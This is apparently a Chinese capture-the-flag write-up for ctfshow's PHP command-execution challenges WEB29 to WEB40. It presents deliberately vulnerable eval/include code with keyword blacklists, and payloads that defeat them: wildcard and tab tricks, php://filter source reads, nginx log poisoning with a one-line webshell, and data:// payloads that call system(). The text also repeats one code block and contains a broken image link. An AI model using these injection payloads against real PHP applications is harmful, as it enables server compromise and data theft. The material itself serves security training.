Bootstrap

ctfshow-WEB入门-命令执行 (WEB29~WEB44)

WEB29 【通配符绕过】

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

过滤了flag​关键字,使用通配符绕过即可。

payload:

?c=echo `ls`;     //查看当前目录下的文件
?c=echo `tac f*`;  

WEB30

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

和上一道题一样的payload即可解决,它新增的过滤关键字都没有使用到。

payload:

?c=echo `tac f*`; 

WEB31 【%09】

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

过滤了空格,有很多姿势可以绕过,但测试发现题目过滤了很多姿势,%09可以用:

?c=echo`tac%09f*`;

官方WP:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));	//读取当前目录下倒数第二个文件的内容

localeconv():

返回一个数组。

pos():

返回数组的第一个值。

scandir:

扫描当前目录下的文件。

array_reverse():

反转数组。

next():

将指针指向数组内下一个元素。

WEB32 【文件包含绕过】

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

echo也没了

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

过滤了更多东西,反引号,分号,单引号都没了,可以使用伪协议绕过。

payload:

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码一下即可获得flag

WEB33

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

双引号也不能用了,上题的payload中,可以直接省略掉双引号:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB34

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

增加了冒号的过滤,但preg_match只对?c=include$_GET[1]?>​这个部分生效,所以可以继续用上一题的payload:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB35

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

仍然用上一题的payload一把梭。

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

WEB36

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
  
}else{
    highlight_file(__FILE__);
}

过滤了数字,参数不能用1了,改成字母即可:

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

WEB37 【日志包含】

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
  
    }
    
}else{
    highlight_file(__FILE__);
}

禁了php,伪协议读取用不了了,

方法一:

尝试日志包含:

wappalyzer查看到服务器为nginx:

包含nginx的日志文件:

?c=/var/log/nginx/access.log

添加User-Agent,写入一句话木马:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vLMizTCY-1669632727409)(https://cdn.jsdelivr.net/gh/wydyxhxs/images/pic/202211281754370.png)]​

修改传参为1=echo tac f*;​即可获得flag

方法2

使用data伪协议:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

然后查看源码即可获得flag:

WEB38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
  
    }
    
}else{
    highlight_file(__FILE__);
}

题目跟上一个一样的?payload也可以继续杀

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

WEB39

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
    
}else{
    highlight_file(__FILE__);
}

被添加了".php"​后缀,data://text/plain,​就相当于已经执行了php语句并闭合了,所以此处添加的.php​并不会有影响。

测试:

payload:

?c=data://text/plain,<?=system('tac f*')?>;

WEB40 【localeconv()】

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了数字和各种符号。注意过滤的的括号是中文的括号。

payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

方法二:

?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv()))))));	//需要多运行几次

array_rand():

 从数组中随机取出一个或多个随机键

array_flip():

交换数组中的键和值

;